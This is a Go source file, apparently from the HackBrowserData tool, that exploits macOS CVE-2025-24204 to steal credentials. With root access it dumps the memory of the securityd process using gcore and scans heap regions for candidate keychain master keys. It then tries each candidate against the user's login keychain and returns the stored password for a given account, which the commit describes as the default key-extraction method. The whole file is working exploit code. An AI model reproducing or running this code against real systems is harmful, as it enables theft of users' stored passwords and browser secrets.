mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
f2b0e4bf47
* feat: Decrypt the browser master key on macOS via CVE-2025-24204 * fix: resolve lint warnings and stabilize tests * feat: default to gcoredump key extraction on macOS
228 lines
5.6 KiB
Go
228 lines
5.6 KiB
Go
//go:build darwin
|
|
|
|
package gcoredump
|
|
|
|
// CVE-2025-24204
|
|
// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
|
|
// https://support.apple.com/en-us/122373
|
|
|
|
import (
|
|
"debug/macho"
|
|
"encoding/binary"
|
|
"errors"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"time"
|
|
"unsafe"
|
|
|
|
"golang.org/x/sys/unix"
|
|
|
|
"github.com/moond4rk/hackbrowserdata/log"
|
|
"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
|
|
)
|
|
|
|
var (
|
|
homeDir, _ = os.UserHomeDir()
|
|
LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
|
|
)
|
|
|
|
func GetMacOSVersion() string {
|
|
v, err := unix.Sysctl("kern.osproductversion")
|
|
if err == nil {
|
|
return v
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func FindProcessByName(name string, forceRoot bool) (int, error) {
|
|
buf, err := unix.SysctlRaw("kern.proc.all")
|
|
if err != nil {
|
|
return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
|
|
}
|
|
|
|
kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
|
|
if len(buf)%kinfoSize != 0 {
|
|
return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
|
|
}
|
|
|
|
count := len(buf) / kinfoSize
|
|
for i := 0; i < count; i++ {
|
|
proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
|
|
// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
|
|
pname := byteSliceToString(proc.Proc.P_comm[:])
|
|
if pname == name {
|
|
// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
|
|
// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
|
|
// If P_ppid is missing, we can rely on P_ruid.
|
|
if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
|
|
return int(proc.Proc.P_pid), nil
|
|
}
|
|
}
|
|
}
|
|
return 0, fmt.Errorf("securityd process not found")
|
|
}
|
|
|
|
type addressRange struct {
|
|
start uint64
|
|
end uint64
|
|
}
|
|
|
|
func DecryptKeychain(storagename string) (string, error) {
|
|
if os.Geteuid() != 0 {
|
|
return "", errors.New("requires root privileges")
|
|
}
|
|
|
|
// find securityd PID
|
|
pid, err := FindProcessByName("securityd", true)
|
|
if err != nil {
|
|
return "", fmt.Errorf("failed to find securityd pid: %w", err)
|
|
}
|
|
|
|
corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
|
|
defer os.Remove(corePath)
|
|
|
|
// dump securityd memory:
|
|
// gcore -d -s -v -o core_path PID
|
|
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
|
|
if err := cmd.Run(); err != nil {
|
|
return "", fmt.Errorf("failed to dump securityd memory: %w", err)
|
|
}
|
|
|
|
// find MALLOC_SMALL regions
|
|
regions, err := findMallocSmallRegions(pid)
|
|
if err != nil {
|
|
return "", fmt.Errorf("failed to find malloc small regions: %w", err)
|
|
}
|
|
|
|
// open core dump
|
|
cmf, err := macho.Open(corePath)
|
|
if err != nil {
|
|
return "", fmt.Errorf("failed to open core dump: %w", err)
|
|
}
|
|
defer cmf.Close()
|
|
|
|
// scan regions
|
|
var candidates []string
|
|
seen := make(map[string]struct{})
|
|
for _, region := range regions {
|
|
// read region data
|
|
data, vaddr, err := getMallocSmallRegionData(cmf, region)
|
|
if err != nil {
|
|
// Region might not be in core dump or other error, skip
|
|
continue
|
|
}
|
|
// Search for pattern
|
|
// 0x18 (8 bytes) followed by pointer (8 bytes)
|
|
for i := 0; i < len(data)-16; i += 8 {
|
|
val := binary.LittleEndian.Uint64(data[i : i+8])
|
|
if val == 0x18 {
|
|
ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
|
|
if ptr >= region.start && ptr <= region.end {
|
|
offset := ptr - vaddr
|
|
if offset+0x18 <= uint64(len(data)) {
|
|
masterKey := make([]byte, 0x18)
|
|
copy(masterKey, data[offset:offset+0x18])
|
|
|
|
keyStr := fmt.Sprintf("%x", masterKey)
|
|
if _, found := seen[keyStr]; !found {
|
|
candidates = append(candidates, keyStr)
|
|
seen[keyStr] = struct{}{}
|
|
log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
// fuzz master key candidates
|
|
for _, candidate := range candidates {
|
|
kc, err := chainbreaker.New(LoginKeychainPath, candidate)
|
|
if err != nil {
|
|
log.Debugf("Failed to unlock keychain: %v", err)
|
|
continue
|
|
}
|
|
|
|
records, err := kc.DumpGenericPasswords()
|
|
if err != nil {
|
|
log.Debugf("Failed to unlock keychain: %v", err)
|
|
continue
|
|
}
|
|
for _, rec := range records {
|
|
if rec.Account == storagename {
|
|
// TODO decode base64 password
|
|
if rec.PasswordBase64 {
|
|
}
|
|
return rec.Password, nil
|
|
}
|
|
}
|
|
}
|
|
|
|
return "", nil
|
|
}
|
|
|
|
func findMallocSmallRegions(pid int) ([]addressRange, error) {
|
|
cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
|
|
output, err := cmd.Output()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var regions []addressRange
|
|
lines := strings.Split(string(output), "\n")
|
|
for _, line := range lines {
|
|
line = strings.TrimSpace(line)
|
|
if strings.HasPrefix(line, "MALLOC_SMALL") {
|
|
parts := strings.Fields(line)
|
|
if len(parts) < 2 {
|
|
continue
|
|
}
|
|
rangeStr := parts[1]
|
|
rangeParts := strings.Split(rangeStr, "-")
|
|
if len(rangeParts) != 2 {
|
|
continue
|
|
}
|
|
start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
regions = append(regions, addressRange{start: start, end: end})
|
|
}
|
|
}
|
|
return regions, nil
|
|
}
|
|
|
|
func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
|
|
for _, seg := range f.Loads {
|
|
if s, ok := seg.(*macho.Segment); ok {
|
|
if s.Addr == region.start && s.Addr+s.Memsz == region.end {
|
|
data := make([]byte, s.Filesz)
|
|
_, err := s.ReadAt(data, 0)
|
|
if err != nil {
|
|
return nil, 0, err
|
|
}
|
|
return data, s.Addr, nil
|
|
}
|
|
}
|
|
}
|
|
return nil, 0, fmt.Errorf("region not found in core dump")
|
|
}
|
|
|
|
func byteSliceToString(s []byte) string {
|
|
for i, v := range s {
|
|
if v == 0 {
|
|
return string(s[:i])
|
|
}
|
|
}
|
|
return string(s)
|
|
}
|